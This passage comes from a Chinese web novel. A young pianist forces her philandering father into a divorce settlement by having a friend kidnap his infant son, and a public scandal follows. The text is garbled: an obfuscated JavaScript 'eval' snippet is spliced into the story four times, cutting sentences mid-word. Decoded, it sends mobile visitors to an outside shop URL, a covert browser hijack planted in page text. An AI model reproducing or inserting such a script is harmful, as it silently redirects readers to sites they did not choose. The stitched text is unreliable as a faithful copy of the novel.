“你们可能习惯了看到黄皮肤黑眼睛的面孔,站在那些最高领奖台上,习惯了评审念出中文名字。这很好,说明我们这片土地上孕育的头脑和手指,已经毫无悬念地跻身世界顶级行列。我们摘取了古典音乐这颗古老树木上的果实。” “但与此同时,也说明古典音乐正走向它生命的尾声。” 这话让梁初灵无法回应。 李寻的目光只落在梁初灵身上,知道她被吸引了进去,暂时忘却那些琐事带来的烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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落地窗外,潮汐起落,是古典音乐的命运,循环往复,却又在悄然改变。 梁初灵看到了一个更广阔也更宿命的图景。再伟大的个人放在音乐漫长的生命河流面前,都显得渺小。而她手下流淌的音符,既是这尘埃的地域,也是那宏大潮音的一部分。 33. 《悲歌》 美国的游玩行程尚未展开,便被妈女士的消息拦腰截断,妈女士让她尽快回国,梁父近期要和自己谈离婚。 梁初灵原本打算在这边多停留几日的念头立刻烟消云散,订了最快的航班。 李寻看着母亲,又看看即将离开的梁初灵,有些犹豫。 李炽的状态肉眼可见的不好,乐团的千头万绪榨干了她的精力,眼下乌青浓重,连说话都听着疲惫。 “还在等一个关键资助方的最终答复,已经等了好几天了,邮件发了,电话跟进了,唉,现在只能等。” 梁初灵蹙眉:“只能等吗?没有别的办法?” “没了。只能等。”李炽的回答干脆利落,却又认输,“我都几个月没来月经了,医生说是多囊,该吃的药吃了,该做的检查做了,现在也只能等着看身体什么时候自己调整过来。都是只能等。真没办法。” 梁初灵于是没再告诉她们二人自己家里的事情,直接替李寻做了决定:“你就送我到机场吧,别跟我回去了。正好在这里等考试结果。我看李炽老师憔悴得不行了,她更需要你。” 李寻知道她说的是事实,也是她体贴的方式。点了点头,没再多说,只大着胆子抱了她一下:“好。” 回国的航班因为航空管制,无限期延误。梁初灵在候机大厅坐立不安,来回踱步,却别无他法。时间被拖住脚步,每一分每一秒都是煎熬。 她讨厌这种命运被悬在半空,只能被动接受安排的感觉。 可是只能等。 -- 飞机落地,熟悉的空气里开始带着春的生机。 梁初灵还没走到家门口,就听到了里面的争吵声。 “吵!接着吵!赶紧吵个痛快!吵完了我再叫初灵回来!你想都别想就用这么点钱把我打发了!”妈女士声音打摆。 “喊她回来干什么?!”梁父声音更大,“这是我们之间的事情!” “你不要总是只把初灵当成小孩子看待。她是这个家的一份子,她应该参与过程,而不是直接被通知结果。” 梁父嗤笑一声,充满不耐:“跟你真是聊不来!过程?结果?有什么区别?事情已经是这样了!” 大门敞开着,张姨在门外收拾几串红辣椒,她喜欢把辣椒一串串挂在门口,显得喜庆不说,晒干了也能做菜。 梁初灵看着也觉得有意思,从来不管,还给这串串红起过名字,一串叫小红,一串叫中红,跟着大红、特红、超级红。 今天,梁父一进门就勒令全部扔掉,斥之为丢人现眼。 张姨这正收着呢,红红火火一晃眼,梁初灵就过来了。 连忙把辣椒往篮子里放好,就要去拉梁初灵,又想起自己的手碰了辣椒,怕连带着辣到梁初灵的手,用身上围裙做隔,死死牵住了她,再一路拉着她到门外。 “灵灵,你可算回来了!待会儿不管她们说什么,你千万不能犯傻,一切都要为了多拿钱!你自己的还有你妈妈的,能拿多少拿多少。” 梁初灵忍不住笑,很善意的笑:“张姨你别担心,我爸不至于不管我们。” 张姨深觉她还是小孩子,脸都着急的皱在一起,手上也更用力:“你爸爸说要管你,那都是空话,只有到你妈妈手里的那才是真的!你妈妈拿到了钱才会管你!你要是现在不去争,等外面那个儿子一长大,以后就什么都没有了!” 张姨的手心很烫,隔着围裙正好缓冲成温暖。 话语像巴掌,隔着一颗真心正好缓冲成抚摸。 梁初灵看着张姨焦急的脸,拍拍张姨的手背:“我知道了,张姨。放心吧。栗子呢?” “你妈妈这几天状态很不好,又吐了好几回。”张姨也拍拍她的手,已然忘了辣椒的事,“你爸爸前几天就撂下话,说这几天找时间回来谈离婚,可具体是哪一天他偏不说。” “搞得我们两个人,天天在家里干等,也不知道该做什么准备。连栗子都不敢放出来随便跑,怕他突然回来,看见猫又要借题发挥。” “对了,”张姨想起最重要的事,“你爸爸提了,说让我回老家,以后不必来了,还让你妈妈尽快从这房子里搬出去,说是另外几套随便挑,实际上这安的什么心谁不知道!这小区里住的都是些什么人?那是钱能衡量的吗?我看,准是外面那个女人的主意!” “栗子被我关在客房里了,放心吧。” -- 气氛比想象中平和。 妈女士坐在侧面的沙发,看不清表情,但一只手摁着胸口辅助呼吸,一种气大劲儿了的样子,桌上有一颗薄荷糖的糖纸,妈女士每次吐完觉得嘴里有味道,就会吃一颗薄荷糖。 梁父坐在主位沙发,面色红润,一只手拿着手机在看,一只手在空中指来指去、给他嘴里的话伴舞。 梁初灵看着,觉得这一切很劣质。 为什么会存在这样一个男人,他轻巧的、装作无辜的,就可以挑动起身边所有女人的情绪。 妈女士、林佳妮、这个新女人、张姨、还有梁初灵自己。 为什么? 为什么会存在这样一个男人,让所有人只能等待。 等待着他的回应,连离婚、吵架、分手、分家、撕裂……一切,都要等待他的回应。 连崩塌都需要以他为中心,等他来注视。 所有人,越是互相憎恨,就越显得他的重要。 “怎么这就到家了?”妈女士听到脚步声,转过头看到梁初灵,诧异完用眼神示意她坐下,手也伸出来想摸摸她。 梁父眉头拧住又解开,他的千千结显然不在这里。 但还是清了清嗓子,摆出父亲的架子:“你回来了也好。爸爸和你妈妈有些事情要谈,关于我们未来的安排。你放心,等你满18岁成年那天,爸爸一定把股份转给你,算是给你的成人礼和保障。等不了多久了。” “爸爸虽然和你妈妈分开了,但对你,我会一如既往地负责到底。你永远是我的女儿。” “负责?” 梁初灵没有走向妈女士,也没有坐下。 她绕着客厅走,手指划过一件件家具,正好和父母形成一个不规则三角,却不回妈女士,只对着梁父声音清脆,“爸爸,人逢喜事精神爽,你脸色这么好,是要当新郎官了,还是要当爹了?” 梁父本因为梁初灵回来后选择先对话的人是自己,而隐隐得意,不屑的看了一眼妈女士。 此刻又被梁初灵的话激得脸上的容光转为恼怒。 他猛地站起来:“梁初灵,你胡说什么!” 梁初灵笑起来:“我胡说啊?外面那个儿子是胡说的啊?迫不及待要离婚娶新老婆是胡说的啊?爸,你赶着去投胎啊?” 说完,她拿起博古架前那尊一米高的青花瓷瓶,是梁父早年附庸风雅拍回来的,现下她拿在手里掂了掂,很沉。 “你怎么跟大人说话的!反了你了!”梁父指着她,气得额头青筋暴起,“你要干什么?把东西放下!” “梁初灵你注意手!”妈女士紧张大喊。 梁初灵把花瓶砰地一声举起来砸碎在远处地上,白色的瓷粉腾起,如同祭奠的烟尘。 巨响往往会带来安静。 妈女士立刻跑过去看梁初灵有没有受伤,检查一遍后放心了些,轻轻弹了一下她的脑壳:“小混蛋!吓死妈妈了!” 梁初灵给了在门口准备往里冲的张姨一个安抚的眼神、制止的动作,怕张姨进来后被梁父借题发挥,给其难堪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她再也不想等待!她再也不想等待了! “你不让我回来参与过程,不就是为了让我直接面对结果吗?” 她盯着梁父,一字一句地说:“来吧,分吧。少一分,我就砸一个。砸完了家里的,我就去你公司砸。反正你最爱我,肯定舍不得报警抓我,好爸爸怎么会报警抓自己最爱的女儿呢?对吧?” 梁父被梁初灵一连串的质问和破坏逼得节节败退,脸上那点从容早已荡然无存,只剩下暴怒。 竟不管不顾地朝着梁初灵冲过来,扬起手臂! 一直强撑站着的妈女士,眼见情况失控,心中大骇,也顾不得自己一阵阵发闷的胸口,扑过去拦住梁父:“你别动孩子!” 可她身体虚弱,动作迟缓,刚冲到两人之间,就被梁父一把推开,妈女士摔倒在地,感到天旋地转。其实没有磕碰,但就是一口气堵在那里,让她只能张着嘴喘息。 梁初灵的视线被梁父遮挡,没看见妈女士倒地后不正常的、像是窒息的样子,只看到推倒她的动作,如火上浇油。 索性把木架也推倒,上面的东西稀里哗啦摔了一地。 “砸!你继续砸!我看你能砸多少!你一分钱也别想从我这里拿到!”梁父也被这破坏刺激得失去了理智,指着梁初灵破口大骂,忘了地上的妻子。 “初灵……初灵……” 妈女士气若游丝的声音。她已经喘不上气,脸色由白转青。 梁初灵立刻绕过梁父,跑去看倒在地上的妈女士。 妈女士嘴唇泛紫……梁初灵的满腔怒火迅速泄掉,大脑嗡的一声,却不敢轻易移动她,惊慌失措抬头,冲着还在骂骂咧咧的梁父喊:“叫救护车!快叫救护车啊!” 而梁父站在一片狼藉中,看着情况不明的妻子,又看看终于崩溃的女儿,竟然后退了一步:“装!你就装吧!别想用这套来拿我的钱!” 34. 《忧伤》 急诊室里灯火通明,医护人员步履匆匆,各种声音交织成生命交响曲。 梁初灵像失去灵魂,一直跟在移动病床旁直到妈女士被推进抢救室,两扇门,将她和里面的世界彻底隔绝。 医生中途出来过一次,语速很快。结合妈女士之前的就诊记录和此刻的结果,给出初步诊断是突发性心脏病。 “患者本身处于围绝经期向更年期过渡的阶段,这个时期,女性体内的雌激素水平会发生剧烈变化,这种变化不仅影响情绪、骨骼,更会直接作用于心血管系统。雌激素对血管有保护作用,一旦锐减,血管更容易痉挛,血脂代谢也可能异常,心脏的负担会显著加重。” “很多人低估了更年期的危害,以为只是潮热、失眠、脾气不好。事实上,它大幅提升了女性患上心血管疾病的风险,严重时,就像现在这样,甚至可能心肌梗死。这不是小事,需要严肃地对待和长期的健康管理。” 梁初灵一直以来只知道妈妈身体不舒服,心情起伏大,原来这是足以夺走生命的危机。 又是等待。 在抢救室外,她除了等待,无能为力。这种熟悉的被动感,她也快窒息。 不知过了多久,梁父的秘书匆匆赶来,他显然已经了解了情况。 “梁小姐,梁总那边还有些紧急事务要处理,暂时过不来。关于后续的一些安排,包括财产方面,等夫人情况稳定下来,我们再从长计议。现在还是以夫人的身体为重。” 又是等待。 梁初灵没有看秘书,也没有回应。 她只是盯着抢救室门上那盏红灯,一个她很少去具体想象的字,不带着森然寒气浮现在她的脑海里—— 那个代表着终结,代表着永远失去,代表着一切不再存在的字。 那个字虎视眈眈地觊觎着她生命中最重要的人。 喉咙干,她需要一点水。 梦游般下到一楼,找到角落里的自动贩卖机。听着饮料罐掉落声,她弯腰去取。 “梁初灵?” 周序站在不远处,疑惑地看着她,在确认。 他的精神看起来比上次好些。几步走了过来,借着大厅明亮的光线,他看清了梁初灵的样子—— 头发凌乱,眼睛红肿。 “你怎么了?出什么事了?” 梁初灵看着他,也看着将她们包围起来的那个字,那个字张大了嘴在笑,梁初灵却毫无预兆地开始哭。 她低下头,断断续续把事情说了个大概。 周序脸上的诧异被愤怒取代:“你爸还是不是人!虎毒还不食子呢!” 他后面骂了些什么,梁初灵已经听不清了,她只是任由眼泪流淌。 -- 抢救室的门终于再次打开。 医生走出来,表情比之前缓和:“患者暂时脱离危险了,万幸送来还算及时。现在需要转入CCU密切观察,不能再受任何刺激。” 妈女士被推出来时,身上插着管子,连着监控仪器。 梁初灵扑到移动病床边,抓住妈女士冰凉的手,跟着护士一起将妈女士送入监护病房。 病房里很安静,周序被她请离了,现在只有母女二人。 梁初灵坐在病床边的椅子上一动不动,只是握着妈女士的手,仿佛一松开,她就会消失不见。 她没有再哭。 -- 妈女士的情况稳定下来,转入了心内科的普通病房,医嘱是需要住院观察至少一个月。 病来如山倒,病去如抽丝,尤其是心脏的问题,越着急上火越难办。 梁初灵晚上打车回家去给妈女士拿东西,她看着车窗外想事情,其实离了也挺好的—— 这个念头如果在半年前那就不可能出现。 幸好这半年时间,她长出了一颗秧苗。 车子路过她很久以前上课的教室,自从入李炽的师门后,她就没再来过这边。 教室外有过一棵奇形怪状的树,结的果子很甜,但树本身非常招虫子,夏天上面就爬满了一种叫洋辣子的毛毛虫,人见人怕。 为什么是有过—— 因为这棵树被砍掉了。 梁初灵只看到留下的一截木礅。 那些想吃果子的人败给了厌恶虫子的人。 车子驶进拥堵的街区,一会儿一停,梁初灵觉得胸闷,于是提前下了车。 漫无目的地走,也不知道想去哪儿,脚自己把她带到了一条河边。 河水平静,近乎凝滞,映着岸边的路灯,光晕黄融融,铺在静止的水面上,像水里长出了无数月亮。 风是罕见的明净,吹拂而过,让人觉得温柔,像南方的春天。 这温柔来得不合时宜,让梁初灵清晰看见自己的狼狈。 她因这狼狈想起李寻,但想起的源头却是:在这样狼狈的时刻,我居然没有想起你。 因为想起了遗忘,于是把遗忘想起。 想起自己当初是如何急切的告白。 那时家庭的关系摇摇欲坠,梁初灵以为自己站在人生的悬崖边,而李寻伸出了手,稳定、温暖、充满力量。 可现在坐在这里,她发现水里的月亮是灯泡。 拿完东西回来,妈女士靠在病床上,脸色依旧缺乏血色,眼睛在最初的混沌褪去后,逐渐恢复清明,她拉着梁初灵的手,盘算着如何将这次重病和梁父推搡的过失转化为离婚财产分割中的筹码。 “到时候如果谈不拢,我们未必不能打一场舆论战,自然有人会替我们说话的……” 妈女士甚至觉得可以利用梁初灵的身份和近期的关注度,将私事在一定程度上公众化,施加压力。 梁初灵坐在床边,削着苹果,她还是不会用水果刀削皮,削得很慢,皮断了三次。 她心疼母亲刚闯过鬼门关就要殚精竭虑,更感到无形的绳索再次缠绕,放下水果刀,将削得坑洼洼的苹果递给母亲:“我可以养你的。我真的可以。” “商演、节目、代言,还可以和明星合作,我的收入足够让你挥霍。” “我们没必要再跟他一直纠缠下去,没必要再把时间和精力耗在等待上。” 妈女士咬了一口苹果,咀嚼得很慢,在品味,也是在组织语言。“宝贝,你还小,想得太简单。你赚的是你赚的,可他的家业我们凭什么不拿?现在正是他理亏的时候,是我们谈条件的最佳时机。” 她伸出手,想拍拍女儿的手,动作却因虚弱而显得臃肿:“再等等,耐心点。等他自己先沉不住气,我们能拿到手的,会多得多。” 又是等。 争吵没有意义,只会刺激她脆弱的身体。 梁初灵选择了沉默,将翻涌的焦虑压回心底。 妈女士睡着了,眉头即使在睡梦中也没有舒展。梁初灵站在窗前,北京夜晚依旧川流不息,这也是一条河,冰冷的河。 李寻打来电话时,背景音里似乎正和李炽在一起忙碌。 “吃饭了吗?你最近怎么样?” 梁初灵没有回答他的问题,反而问道:“你和李炽老师最近怎么样?乐团的事情有进展了吗?” 李寻没料到她会先问这个,轻轻叹了口气,实话实说:“不太顺利。那个关键资助方最终还是婉拒了,理由很官方,我妈她忙活了几个月,等于从头再来。场地租约也快到期了,一堆麻烦事。” “李炽老师身体怎么样?”梁初灵追问。 “身体还行,没添新毛病。就是老问题,月经还是不规律,医生开的药吃着,主要还是操心乐团,睡得不太好。”李寻尽量说得轻描淡写,不想给她增加负担。 “哦。”梁初灵应了一声,然后开始回答李寻最初的问题,“我最近还不错。” “就是我爸妈要离婚了。不过我觉得这也不是什么坏事。离了也好。” 李寻在电话那端静静地听。他对梁父的行事作风早有耳闻,也在以前和梁初灵的相处中拼凑出她家庭的暗流汹涌。 此刻他从梁初灵的语气里听到的也并非悲伤,这让他安心。 他自幼父母离异,对此事并无创伤,反而觉得若感情不再,彼此折磨,分开是更理性的选择。 李寻认同道:“嗯,如果在一起不快乐,分开确实是更好的选择。你不要太难过,有事一定要跟我说。”他的声音很稳,带着一种想要传递力量的确信。 “嗯,我知道。”梁初灵手指刮着玻璃窗,“你那边也一堆事,你先顾好李炽老师。我挺好的。” 又简单说了几句,大多是李寻嘱咐她注意休息,别太累,梁初灵一一应下,语气始终平稳,直到挂断电话。 窗玻璃上模糊地映出她自己的影子,她伸出手摸了摸影子的脸。 几天后,梁父再次出现在了病房。 妈女士在里间,梁父和梁初灵在会客间。 “医生是我托关系找的,专家会诊也是我安排的,最好的药、最贵的病房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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病床上的妈女士被这大声惊得睁开眼睛,想起来出去看看,又被梁初灵喊了一声:“妈,你别出来。” -- 两天前,在妈女士睡着后,梁初灵出来拨通了周序的电话。 她知道自己要做什么,自然也知道这意味着什么。 “梁初灵?” “周序,我需要你帮我做件事。” “说吧。”周序的回答干脆利落。 “你帮我把我爸的私生子带出来可以吗?” “绑架?”周序的声音兴奋,“你想用他当筹码,跟你爸谈条件?” 梁初灵知道孩子是无辜的,利用一个婴儿作为筹码,这种行为带着原罪。无论理由多么充分,无论她内心对父亲和那个女人的愤怒多么正当,施加于婴儿身上的伤害,都将成为她的负担。 她接受了负担,也决定接受对于周序的这份愧疚,梁初灵将其视为达成目的必须支付的代价。 我清楚我在利用你的感情,我清楚这很危险,我清楚未来会有麻烦,但我也准备好承担所有后果——包括你的牺牲可能带来的情感绑架,包括我良心上的负债,包括可能的法律风险。 也因此,她不会去跟李寻说这个计划。 “是。让我妈能顺利离婚。”梁初灵承认道,“你能做到的吧?你要保证那个孩子的安全,绝对不能伤害他。” “当然,”周序语速快了起来,“我想想,地点不能在北京,直接把他带去外地几天吧,还需要几个人吓唬一下你爸,让他知道厉害,或许还可以……” “周序,”梁初灵打断他越来越兴奋的筹划,“按我说的做就好。只是带走,藏起来,保证安全。等我这边谈妥就放回去。” 周序带着惋惜的笑。“梁初灵,我发现,你这个人好像总是用错情。” 梁初灵不明白他为什么这么说。 “对李寻是这样,现在对这个孩子也是这样。永远都在不必要的地方用情。” “你什么意思?” “我的意思是,这个孩子是你父亲背叛你母亲的证据。是他,让你妈妈躺在了医院。是他,成了你父亲急于摆脱你们的理由。他的存在,本身就意味着你的利益受损。这个孩子的死活,跟你有什么关系?” 梁初灵呼吸一窒,对啊,她为什么要对这个孩子用情? 这个孩子的降生,伴随着的是父亲的背叛、母亲的痛苦、家庭的破碎。 这个孩子的安危,凭什么要她来操心? 这个孩子的死活跟她又有什么关系? 周序说得没错,理性上,她应该恨这个孩子,恨他代表的一切。可是…… “他只是一个婴儿。你就照我说的做吧。绑架就好,生命安全必须保证。”她重复了一遍自己的要求,像是在说服周序,更像是在说服自己。 “行吧,听你的。”周序最终妥协。 35. 《无词歌Op.19 梁父即使觉得这对母女在趁火打劫,但还是只能嘴角抽搐着答应。 报警当然只能是他自己吓自己,对梁初灵造成不了威胁。 梁初灵还巴不得他报警,正好让大家都看看,梁总是怎么把原配气得心脏病发进医院,又是怎么对亲生女儿锱铢必较,同时外面还有个需要他负责的私生子,媒体该多么感兴趣这出精彩纷呈的家庭伦理剧。 一旦事情闹大,损失的远不止是金钱,还有梁父苦心经营的形象、公司的股价、以及那些需要家庭美满作为背书的合作关系。 她不需要声嘶力竭,她赌他不敢,他比任何人都爱惜他那身精心伪装的外皮。 “要么今天就在这上面签字,我们钱货两讫,你立刻去处理你的家事,要么就继续耗着,看看最后是谁更等不起。” 梁初灵把等字咬得很重,像是在对自己强调——她绝不会再陷入等待。 她绝不会。 如果她会,她就应该去和李寻商量,李寻一定不会同意这计划,会回国,会提出漫长但正确的解决方案。 但她不会。 从她主动利用周序的牺牲情结开始,从她明知故犯的选择开始,从她给出一个为她冒险的由头开始,从她放任周序自己把剧本演下去、自我加码开始,她就不会再等待。 妈女士也大感震撼,梁初灵的话拉不住她,她已经走了出来,但此刻不是询问的良机,她也担心自己一追问,就无形中与梁父站到一个阵线去,而因此对梁初灵施了压。 只能装作无事、且无视。 梁父像是第一次真正认识自己的女儿。 “好。”这个字几乎耗尽了梁父所有力气。 但梁初灵心里并不快意,看着这个曾经在她心中高大的父亲,如今只是一个不堪的男人。 -- 周序看着手机上梁初灵发来的消息,自己也松了口气。 几乎能想象出梁初灵在病房里,如何逼视着她那个虚伪的父亲,最终迫使对方签下城下之盟。而他,是这场战役中,为她提供帮助的人。 这种被梁初灵需要的感觉,安慰了他因伤病和事业受阻的焦躁。为自己终于做了点有用的事情而沾沾自喜。 事情办完了,这个麻烦也该处理掉了。 看了看沙发上那个裹在襁褓里的婴儿…… 他不会抱孩子,那脆弱的脖颈让他感到莫名的恐惧,之前孩子哭闹不休时,他只能在旁边站着,最后是雇来的临时保姆喂了点奶,才勉强哄睡。 按照原定计划,联系了一辆车,将婴儿放在后座的婴儿提篮里,嘱咐司机务必安全送达。 他以为事情到此就告一段落,帮梁初灵解决了一个大麻烦,还带着点侠盗般的浪漫色彩。沉浸在自我满足的成就感里,然而他低估了人心的复杂和信息的错位。 梁父在签完字离开医院后,并没有联系那个女人。 他觉得事情已经解决,没必要再多费口舌,更何况仍在气头上,当然不可能自省。 如今却只能迁怒于那个女人——觉得她贪心不足! 也迁怒于那个孩子——要是没生下这个麻烦! 正是这个女人和她生下的儿子,才导致他今日的狼狈。 若换了妈女士,就会清楚这根本就是他一贯的行事风格——自私,只考虑自己的情绪和利益,从不顾及他人的感受和处境。 但那个女人并不那么清楚。 那个女人,穿着睡衣,头发凌乱,独自待在梁父的公司里,守着手机度秒如年。 报警?她甚至说不清孩子的父亲是谁,又怕激怒梁父,失去最后的依靠。 儿子被不明身份的人带走,音讯全无,她疯狂拨打梁父的电话,从一开始的哭诉哀求,到后来的绝望咒骂,到最后无人接听。 好不容易再打通一次,梁父在那头极其不耐烦:“别吵了,烦不烦,我会处理!你再闹就别想我离婚娶你!” 抱着最后一丝希望,女人来到了梁父的公司。男前台认得她,以梁总外出为由,将她拦在了休息区。 她就在人来人往的休息区沙发上坐着,从上午坐到下午。 怀里残留着孩子的重量,如今却空空荡荡。 爱是爱的,但很爱么,也不见得,孩子是她自己和保姆带,每天哭个不停,她头发一把一把掉,急躁起来恨不得把孩子塞进衣柜里以阻隔哭声。 不是很爱,但不可以就这么不见了……那是她生下来的孩子啊。 她逢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833216|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人便抓住询问,语无伦次地哀求:“求求你们,帮我找找梁总,我儿子不见了,他那么小……” 有人敷衍地点头,有人避之不及,在这个以利益和效率至上的空间里,一个情绪失控身份尴尬的女人和私生子,只是一个麻烦。 她的焦虑、她的恐惧、她反复的诉说,无人在意。 产后抑郁像一层灰暗的滤镜,扭曲她对世界的感知,放大每一次拒绝带来的伤害,她感觉自己被整个世界遗弃。 周序安排的那辆车的司机在公司附近的路口被交通堵住,看着也没剩多远的距离,只好先打电话联系收件人,女人接了电话,跌跌撞撞过来,一眼看到了后座上的孩子。 孩子因为长时间的颠簸和不舒服的姿势,正张着嘴大声啼哭。 她不知道孩子是怎么出现的,是幻觉?还是…… “我的孩子!”她一把将哭闹不止的孩子搂在怀里,重新感受到这个生命的温度。低头亲吻着孩子的额头、脸颊。泪水涌出。 孩子的哭声并未停止,因为这番动作和母亲激动的情绪,哭得更撕心裂肺。 哭声刺痛她的耳膜,也刺痛她崩溃的神经。 抱着失而复得的孩子,她环顾四周—— 回去了又能怎样?继续面对无尽的等待、指责、孩子的哭闹和那个男人的冷暴力吗? 与其这样,不如…… 不如一起离开吧。 她紧紧抱着啼哭的孩子,喃喃自语:“不哭,妈妈带你走,我们离开这里……” 说完她不再看向车辆,朝着机动车道冲去。 “拦住她!快!” “孩子!小心!” 惊呼声、刹车声、尖叫声响成一片。 司机和几个反应快的路人在千钧一发之际,将母子二人拉住,隔开危险的车流。 孩子因为惊吓哭得更大声,女人则在众人的钳制下瘫软在地,失声痛哭。 异常举动很快引起注意。 有人报警,也有嗅觉灵敏的媒体迅速聚集,镜头对准了这个失控的女人。 周序和梁初灵几乎同时刷到新闻推送—— 【惊!知名企业家梁XX疑陷婚外情纠纷,情妇携幼子在其公司楼下欲轻生!】 36. 《音乐会练习曲·森林的呼啸》^…… 【知名企业家婚外情曝光,情妇携子闹市轻生!】 【原配心脏病发入院,豪门婚姻早已名存实亡!】 【起底梁XX:商业帝国与破碎的家庭……】 类似的标题配着打了码却依旧能感受到现场混乱的图片,在各大社交平台、新闻门户网站传播,公众对豪门秘辛、伦理悲剧的热情本就蓬勃。 梁初灵的名字,连同她天才钢琴少女的光环,第一次以如此不堪的方式,被抛入舆论中心。 所有相关者,无一幸免,都成了这场风暴中的受害者。 梁初灵用来对接合作的号码几乎被打爆。 记者、合作方、学校老师、甚至一些八竿子打不着的亲戚。 她在真正被舆论解剖。 她的生活,她的家庭、她的隐私、她的悲伤与愤怒,都摊开供人评头论足。 她和周序过往的CP被重新翻出;连远在费城的李寻,都被网友扒出来,揣测其中是否存在更复杂的情感纠葛。 妈女士紧紧握住女儿的手:“别去看,别去听。” 但是没办法不去看不去听。 有媒体直接将电话打到她的私人号码,咄咄逼人:“梁小姐,对于您父亲的情妇携子轻生一事,您作为女儿,是否觉得自己也有责任?您后悔用如此激烈的方式对抗父亲吗?” 梁初灵听着对方隐含陷阱的提问,混乱与压力达到顶点,反而催生出冷静:“我不后悔。” 对方显然没料到她会如此直接,居然没有言语。 梁初灵继续道:“我不后悔。在当时的情况下,为了拿到我们应得的东西,那是我能想到的唯一的办法。” “我不后悔。又不止有她们是受害者,我妈妈也差点死掉,我为什么要后悔,你为什么不去问我爸爸后不后悔。” 梁初灵说完直接挂断了电话。已经不知道自己后不后悔,但后不后悔都不代表愧不愧疚,对于周序,对于那个女人和孩子。 但这份愧疚是她需要独自承担的重量,而不是在公众面前表演悔恨的剧本。她必须武装自己千疮百孔的内心。 张姨来到医院送饭,忧心忡忡,路上她听见车载新闻说梁父公司的股价暴跌,董事会内部压力巨大,要求梁父尽快平息事态,挽回公司声誉。 “他一定会把这笔账算在你头上。”妈女士看着新闻说。 果然,傍晚时分,梁父的电话直接打到了梁初灵这里。 “梁初灵,你用这种下三滥的手段毁我?你以为你能得到什么?你不是能耐吗?我看你那些演出那些代言,还能保住几个!” 梁初灵接到了学校打来的电话,对方语气委婉却不容置疑,表示原定于下周的一场校内交流演出,建议她不要参加。 这仅仅是开始。 几个原本在接洽的合作项目,也几乎在同一时间表示“需要重新评估合作风险”或“暂缓推进”。 孤立从四面八方包围过来。 周序的处境同样糟糕,甚至更甚。 他家的长辈飞抵北京,在他的公寓里,进行了长达数小时的审问。 绑架的指控,尽管目前尚无直接证据立案,但警方的初步问询已经足以让周家如临大敌。 他们动用大量资源斡旋,才勉强将事态控制在调查阶段,但周序的音乐事业已经受到毁灭性打击。 原本就因为劣迹而大幅减少的演出邀约彻底归零,合作方纷纷解约,索赔雪片般飞来。 “你不能再待在国内了。”最终,长辈做出了决定,“立刻跟我们回去,避过这阵风头。至于钢琴,等你什么时候学会冷静,什么时候再说!” 周序被变相软禁,一种前所未有的无力感和悔恨淹没了他。 风暴中,梁初灵对那个远在大洋彼岸的声音,生出连自己都无法厘清的矛盾。 她不断查看手机,既渴望听到李寻的语调——可当真正看到是他名字的时候,恐惧又会抢先一步出现。 他知道了多少?他会怎么想?李炽会怎么想? 然而李寻的联系却变得稀薄,只有每天早晚固定的招呼。 “早上好,小天才。” “晚安,要好好休息。” 起初的不解很快被庆幸取代。 她从零星的信息和朋友圈里拼凑出,李炽那边有了重大转机,一个新的资助方对全华裔法派乐团的构想表现出兴趣,她们正为此事全力以赴,李寻陪着李炽四处奔走准备材料,忙得昏天暗地。 他挤出的那点问安时间已是极限。 看着他发来的寥寥数语,梁初灵心下侥幸,幸好他还不清楚这边翻天覆地的混乱。 她太累了,累到不想再浪费心力去解释这摊事,更拒绝去听到任何可能出现的关于她不成熟或冲动的指责。 他那边是久旱逢甘霖的希望,她这边是污浊不堪的泥潭,但她依然倔强仰起头,觉得自己所做的一切,在当时情境下别无选择,不该承受任何指责。 风暴持续肆虐,梁初灵四面楚歌。 一直卧病在床的妈女士联系了一家媒体,要求进行一次公开采访。 采访在病房进行。 面对镜头,妈女士平静叙述了这些年婚姻中的冷漠、背叛,以及梁父在得知她心脏病发后依旧逼迫离婚、甚至在医院要挟的经过。 但她没有过多渲染自己的痛苦。 “我的女儿,梁初灵,她只是一个热爱钢琴的孩子。她不应该被卷入大人丑陋的纷争里,更不应该因为她父亲的错误而承受这些无端的指责和打压” “很多人觉得她冲动。但我想说,她所做的一切,不是为了她自己,是为了我。她看到我躺在医院,她只是做了一个女儿、一个受害者,在绝境中能做的的反抗。” “所有针对我女儿的不公和打压,我都会记录下来,并保留追究法律责任的权利。作为一个母亲,我绝不会允许任何人伤害我的孩子。” 这段采访视频一经播出,妈女士以受害者和保护者的柔弱却坚强的形象,赢得了大量的同情和支持。 如今时代不同以往,当下舆论最爱看大女主叙事。 一时间,天才钢琴少女为母怒撕渣爹的话题热度,甚至压过了对桃色新闻本身的关注。 紧接着,另一股意想不到的声援,在社交平台上迅速引发第二轮关注。 是林佳妮。 她发表了一篇长文,没有避讳自己过去不光彩的身份,反而以此作为切入点,讲述了关于她和梁父的事情始末,以及梁初灵不计前嫌,让她在三十岁的年纪,重新找到了人生的支点和梦想。 林佳妮请求请外界对梁初灵多一些宽容和理解。 这篇长文,以其独特视角和真挚情感,引发了大量转发和讨论。人们看到了梁初灵在家庭悲剧之外,另一个 